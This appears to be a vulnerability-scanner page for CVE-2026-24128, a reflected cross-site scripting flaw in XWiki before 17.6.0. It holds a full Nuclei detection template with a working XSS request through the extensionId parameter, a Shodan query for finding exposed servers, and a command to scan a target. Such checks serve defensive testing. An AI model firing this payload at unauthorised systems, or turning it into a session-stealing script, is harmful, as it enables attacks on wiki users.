XWiki Platform Distribution Flavor Main - Cross-Site Scripting

mediumseverity

6.1CVSS score

0.6%likelihood of exploitation, next 30 days

47%of all CVEs are less likely

Readycheck to confirm it

XWiki Platform Distribution Flavor Main versions prior to 17.6.0 are vulnerable to reflected cross-site scripting (XSS) due to improper sanitization of user-supplied input in the extensionId parameter. An attacker can exploit this issue by injecting malicious JavaScript, which will be executed in the context of the victim's browser, potentially leading to session hijacking or other attacks.

How to confirm it

Send: GET /xwiki/bin/view/XWiki/Main?xpage=distribution&extensionSection=progress&extensionId=org.xwiki.platform%3Axwiki-platform-distribution-flavor-mainwikia7jdh%3…
Positive when: contains "<img src=a onerror=alert(document.domain)>" and "xwiki.extension.job" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2026-24128 -u <target>

The full check

id: CVE-2026-24128

info:
  name: XWiki Platform Distribution Flavor Main - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    XWiki Platform Distribution Flavor Main versions prior to 17.6.0 are vulnerable to reflected cross-site scripting (XSS) due to improper sanitization of user-supplied input in the extensionId parameter. An attacker can exploit this issue by injecting malicious JavaScript, which will be executed in the context of the victim's browser, potentially leading to session hijacking or other attacks.
  reference:
    - https://jira.xwiki.org/browse/XWIKI-23462
    - https://nvd.nist.gov/vuln/detail/CVE-2026-24128
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-24128
    epss-score: 0.00551
    epss-percentile: 0.46423
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    vendor: XWiki
    product: xwiki-platform-distribution-flavor-main
    shodan-query: html:"data-xwiki-reference"
  tags: cve,cve2026,xwiki,xss

http:
  - raw:
      - |
        GET /xwiki/bin/view/XWiki/Main?xpage=distribution&extensionSection=progress&extensionId=org.xwiki.platform%3Axwiki-platform-distribution-flavor-mainwikia7jdh%3Cimg%20src%3Da%20onerror%3Dalert(document.domain)%3Eh5kturc1hk&extensionVersion=17.6.0&extensionNamespace=wiki%3Axwiki&extensionAction=install HTTP/1.1
        Host: {{Hostname}}

    redirects: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img src=a onerror=alert(document.domain)>"
          - "xwiki.extension.job"
        condition: and

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from